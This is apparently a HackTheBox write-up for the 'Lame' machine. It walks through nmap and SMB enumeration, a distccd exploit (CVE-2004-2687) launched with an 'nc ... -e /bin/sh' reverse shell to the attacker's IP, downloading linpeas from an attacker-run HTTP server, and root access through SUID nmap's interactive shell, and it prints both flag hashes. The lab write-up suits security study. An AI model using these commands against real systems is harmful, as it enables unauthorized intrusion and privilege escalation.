Started off with a nmap scan nmap -Pn -T5 -sV -sC -A -p- -oN lame\_nmap.txt 10.10.10.3

While that was scanning I went to go check out to see if the website is up. But I don't get anything back and you'll see why when the results are done. We get back some nice info to start us off.

Port 80 isn't open so there was no site for me to check.

But there was other ports open such as port 21 with the version number of vsftpd 2.3.4 (This version of vsftpd is vulnerable to backdoor command execution

CVE-2011-2523) I couldn't get it to work though. So I moved on. If you can't get something to work, don't spend to much time on it. Look at the next route you can take and if you get stuck

again then go back and try to repeat your steps to make sure you didn't make a typo somewhere.

```
# Nmap 7.92 scan initiated Wed Jul 27 17:39:46 2022 as: nmap -Pn -T5 -sV -sC -A -p- -oN lame nmap.txt 10.10.10.3
   Nmap scan report for 10.10.10.3
3 Host is up (0.069s latency).
4 Not shown: 65530 filtered tcp ports (no-response)
  PORT STATE SERVICE
21/tcp open ftp
                           VERSION
                           vsftpd 2.3.4
   | ftp-syst:
    FTP server status:
        Connected to 10.10.14.6
        Logged in as ftp
         TYPE: ASCII
         No session bandwidth limit
         Session timeout in seconds is 300
         Control connection is plain text
         Data connections will be plain text
         vsFTPd 2.3.4 - secure, fast, stable
   | End of status
    _ftp-anon: Anonymous FTP login allowed (FTP code 230)
   22/tcp open ssh
                           OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)
   | ssh-hostkey:
      1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
      2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
Network Distance: 2 hops
```

```
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux kernel
33 Host script results:
   | smb-security-mode:
       account used: quest
       authentication level: user
       challenge response: supported
       message_signing: disabled (dangerous, but default)
   |_smb2-time: Protocol negotiation failed (SMB2)
   | smb-os-discovery:
       OS: Unix (Samba 3.0.20-Debian)
       Computer name: lame
       NetBIOS computer name:
       Domain name: hackthebox.gr
       FQDN: lame.hackthebox.gr
       System time: 2022-07-27T20:43:45-04:00
   clock-skew: mean: 2h00m23s, deviation: 2h49m46s, median: 20s
49 TRACEROUTE (using port 445/tcp)
50 HOP RTT
                ADDRESS
       66.89 ms 10.10.14.1
       67.79 ms 10.10.10.3
   OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
   # Nmap done at Wed Jul 27 17:43:59 2022 -- 1 IP address (1 host up) scanned in 252.76 seconds
```

I see that smb is open. 139/445. I run smbmap -H 10.10.10.3 and get back some users.

```
htb/lame] -> smbmap -H 10.10.10.3
[+] IP: 10.10.10.3:445 Name: 10.10.10.3
        Disk
                                                                 Permissions
                                                                                 Comment
        print$
                                                                 NO ACCESS
                                                                                 Printer Drivers
        tmp
                                                                 READ, WRITE
                                                                                 oh noes!
                                                                 NO ACCESS
        opt
        IPC$
                                                                 NO ACCESS
                                                                                 IPC Service (lame server (Samba 3.0.20-D
ebian))
        ADMIN$
                                                                 NO ACCESS
                                                                                 IPC Service (lame server (Samba 3.0.20-D
ebian))
Shellshock:[/home/Shellshock/Documents/htb/lame] -
```

we can see that tmp is READ, WRITE. Lets login and see what we can find. I use <a href="mailto:smbclient">smbclient</a> \\\\10.10.10.3\\tmp and we get a hit. I use Is to see what we can find. Unfortunately there is nothing here either. We could use put and get files here but there is no port 80 open for us to execute the files to gain a shell from here. Some bad luck but we got more info so lets keep looking.

```
Shellshock:[/home/Shellshock/Documents/htb/lame] -> smbclient \\\10.10.10.3\\tmp
Password for [WORKGROUP\Shellshock]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
                                     D
                                              0 Wed Jul 27 22:26:31 2022
                                              0 Fri Oct 30 23:33:58 2020
                                    DR
 distcc_ff04f12b.stdout
                                     R
                                              0 Wed Jul 27 19:15:07 2022
 distccd_ffebf12b.i
                                             10 Wed Jul 27 19:15:07 2022
                                     R
                                    DH
                                             0 Wed Jul 27 17:39:43 2022
 .ICE-unix
                                    DR
                                              0 Wed Jul 27 17:40:08 2022
 vmware-root
 distccd_ffd3f12b.o
                                     R
                                              0 Wed Jul 27 19:15:07 2022
                                              0 Wed Jul 27 17:40:08 2022
                                    DH
  .X11-unix
                                           8179 Sat Jul 23 23:20:08 2022
 sudo_2021_3156.py
                                    AR
  .X0-lock
                                    HR
                                            11 Wed Jul 27 17:40:08 2022
 tmp.aIsng23549
                                     R
                                            22 Wed Jul 27 20:26:13 2022
 distcc ff3cf12b.stderr
                                     R
                                            119 Wed Jul 27 19:16:44 2022
 5564. jsvc_up
                                     R
                                             0 Wed Jul 27 17:40:45 2022
 vgauthsvclog.txt.0
                                           1600 Wed Jul 27 17:39:41 2022
               7282168 blocks of size 1024. 5386420 blocks available
```

I go back to the nmap results and see port 3632 is open and it gave us the version of application running. distccd v1

I go to google and search for "distccd v1 exploit" first link brings us to <a href="https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855">https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855</a> after reading the exploit it seems to generate a random alpha numeric string. Reads the string. And looks for the trigger exploit which is command, host, port If it is able to connect to the host it will send the payload and hopefully give us a reverse shell.

Let's give it a try. I started by copying the code and writing it to a file naming it CVE-2004-2687.py, did chmod +x CVE-2004-2687.py

the file is ready to be used. First I started a listener on my attacking machine with nc -lvnp 9001 and then used the following command

./CVE-2004-2687.py -t 10.10.10.3 -p 3632 -c "nc 10.10.14.10 9001 -e /bin/sh" No good, got errors. Then I tried.

python3 CVE-2004-2687.py -t 10.10.10.3 -p 3632 -c "nc 10.10.14.10 9001 -e

/bin/sh" I got a connected to remote service Ok but then the socket timed out instantly killing the connection. I went back to the exploit and read the comments, it mentioned that python3 is to new.

So I was going to work my way down from python3 to python. Next up, python2 CVE-2004-2687.py -t 10.10.10.3 -p 3632 -c "nc 10.10.14.10 9001 -e /bin/sh" Success, we get a shell!



```
Shellshock: [/home/Shellshock/Documents/htb] -> nc -lvnp 9001
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.3.
Ncat: Connection from 10.10.10.3:44276.
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
```

Let's upgrade the shell. I used the following.

python -c 'import pty; pty.spawn("/bin/bash")' python3 and python2 didn't work.
export TERM=xterm
stty raw -echo && fg
enter
enter

We're a normal user daemon. I started off with sudo - but it asked for a password. Let's move on.

I look around a bit and cd /home directory and do a Is and see what's there. Nothing good in the user directory but I did go into makis and find the user.txt file. I do a cat user.txt at it and we get out our first flag.

daemon@lame:/home/makis\$ cat user.txt dc5fe551ec49d528a9b512702ebcf77c



Next, let's head over to the tmp directory and try to transfer over some enumeration files like linpeas.sh

I go to my attacking machine on my transfers directory where I store all my enumeration files, scripts, images, anything that can be used to help us get an edge on the victim machine.

I use python3 -m http.server 80 get the server up and running. On the victim machine ill be in the /tmp directory and use wget://10.10.14.10/linpeas.sh which is my attacking machines ip from HackTheBox.

The file gets transferred over no problem. I use the chmod +x linpeas.sh making it an executable file.

I use ./linpeas.sh and it kicks off no problem. We get back a lot of results. Several vulnerabilities, but one in particular catches my eye with the yellow red highlight.

```
Executing Linux Exploit Suggester 2
 [1] american-sign-language
    Source: http://www.securityfocus.com/bid/45408
 [2] can_bcm
    Source: http://www.exploit-db.com/exploits/14814
 [3] dirty_cow
    Source: http://www.exploit-db.com/exploits/40616
 [4] do_pages_move
    Alt: sieve
    Source: Spenders Enlightenment
 [5] exploit_x
    Source: http://www.exploit-db.com/exploits/45697
 [6] half_nelson1
    Alt: econet
    Source: http://www.exploit-db.com/exploits/17787
 [7] half_nelson2
    Alt: econet
    Source: http://www.exploit-db.com/exploits/17787
 [8] half_nelson3
    Alt: econet
    Source: http://www.exploit-db.com/exploits/17787
 [9] msr
    Source: http://www.exploit-db.com/exploits/27297
 [10] pipe.c_32bit
    Source: http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c
 [11] pktcdvd
    Source: http://www.exploit-db.com/exploits/15150
 [12] reiserfs
    Source: http://www.exploit-db.com/exploits/12130
 [13] sock_sendpage
    Alt: wunderbar emporium
    Source: http://www.exploit-db.com/exploits/9435
 [14] sock_sendpage2
    Alt: proto_ops
    Source: http://www.exploit-db.com/exploits/9436
[15] video4linux
     Source: http://www.exploit-db.com/exploits/15024
[16] vmsplice1
    Alt: jessica biel
    Source: http://www.exploit-db.com/exploits/5092
[17] vmsplice2
                                CVE-2008-0600
     Alt: diane_lane
     Source: http://www.exploit-db.com/exploits/5093
```

the /usr/bin/nmap suid

I head over to https://gtfobins.github.io/ and search for nmap

I cd /usr/bin where the suid is located.

I start off with shell code (a) and nothing happened. So I keep going down the list. Shell (b) worked!

```
daemon@lame:/tmp$ cd /usr/bin/
daemon@lame:/usr/bin$ nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
sh-3.2# whoami
root
sh-3.2#
```

we can now cd /root and see what is there which is the root.txt flag! we have successfully rooted this box!



```
sh-3.2# cd /root
sh-3.2# ls
Desktop reset_logs.sh root.txt vnc.log
sh-3.2# cat root.txt
3a6dadc17b869927153cd30ead8ce0c8
sh-3.2#
```